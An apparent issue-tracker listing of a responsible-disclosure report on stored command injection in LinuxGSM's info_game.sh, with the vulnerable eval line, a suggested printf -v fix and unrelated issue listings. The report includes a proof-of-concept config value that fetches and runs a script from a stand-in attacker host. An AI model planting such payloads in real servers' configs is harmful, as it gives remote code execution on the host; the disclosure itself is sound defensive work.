Security: game-server config values parsed via eval in info_game.sh - stored command injection
Maintainers usually reply within 1 day
Nobody has claimed this yet.
Assessment
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Newbie friendliness
- 72/100
Research direction
Start in lgsm/modules/info_game.sh at line 34 and review the identical eval patterns at lines 59, 84, 109, 147, 185, 210, 233, and 258, then inspect the callers around lines 963-964. Replace the parse-helper eval usage with safe assignment while preserving the extracted values, and verify that config values containing command-substitution syntax are not executed.
Written by the indexing model from the issue text.
Description
Security report (responsible disclosure)
Game-server config values parsed through eval in info_game.sh — stored command injection
Affected: lgsm/modules/info_game.sh:34 (identical pattern at lines 59, 84, 109, 147, 185, 210, 233, 258)
eval "${1}=\"$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')\""
The value extracted from the game's own config file is substituted into a string that eval then re-parses. A config value containing backticks or $( ) executes as a command.
Real callers feed attacker-reachable keys — e.g. info_game.sh:963-964 parse game.serverName / game.serverPassword from Battlefield-style .con configs. Anyone who can persist settings into the game server's config (in-game RCON admin, web panel, file manager, or a remote admin of the game itself) writes:
game.serverName "x$(curl http://attacker.tld/s|sh)"
The next ./gameserver start/monitor/details cycle parses the config and executes the payload as the LinuxGSM user — re-triggered forever.
Severity
Medium (same-user boundary: game process/remote-game-admin → host shell; becomes root-relevant in setups running LGSM cron as root). Defense-in-depth violation of CWE-78/CWE-95.
Suggested fix
Replace every parse-helper eval with safe dynamic assignment:
printf -v "${1}" '%s' "$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')"
No eval needed anywhere in these helpers.
- Dominant language
- Shell
- Stars
- 4.9k
- Forks
- 870
- Avg merge
- 1d 16h
- Merged PRs (30d)
- 45
Getting set up
Starts the project's dev container in your browser, under your own GitHub account.
- No Dockerfile or Docker Compose file
- Has a pull request template
- Read the contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from GameServerManagers/LinuxGSM
-
Difficulty 2/5 1-3 hours Newbie friendliness 84/100
GameServerManagers/LinuxGSM#4956 ·
Maintainers usually reply within 1 day
-
[iosserver] IOSoccer moved to a 64-bit server, srcds_run no longer existsPossibly taken A pull request linked to this issue is open or already merged. Openengine: source game: IOSoccer info: dependency info: query type: bug
Difficulty 4/5 3-5 days Newbie friendliness 45/100
GameServerManagers/LinuxGSM#5023 ·
Maintainers usually reply within 1 day
-
command: monitor type: feature
Difficulty 3/5 Half a day Newbie friendliness 42/100
GameServerManagers/LinuxGSM#4995 ·
Maintainers usually reply within 1 day
-
type: feature
Difficulty 3/5 Half a day Newbie friendliness 45/100
GameServerManagers/LinuxGSM#4994 ·
Maintainers usually reply within 1 day
-
command: console distro: Debian info: website regression: yes reproducible: always severity: medium type: bug
Difficulty 3/5 1-2 days Newbie friendliness 68/100
GameServerManagers/LinuxGSM#4962 · 1 comment ·
Maintainers usually reply within 1 day
All issues in GameServerManagers/LinuxGSM
Similar issues
-
netbox status: backlog topic: testing type: housekeeping
Difficulty 2/5 1-3 hours Newbie friendliness 70/100
netbox-community/netbox#23395 ·
Maintainers usually reply within 1 day
-
Difficulty 1/5 Under an hour Newbie friendliness 85/100
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
ajeetdsouza/zoxide#1323 ·
Maintainers usually reply within 1 day
-
e2e-failure ready-to-code
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
redhat-developer/rhdh-plugin-export-overlays#4391 · 1 comment ·
Maintainers usually reply within 1 day
-
documentation good first issue
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
graygarbage/HermesKey#20 ·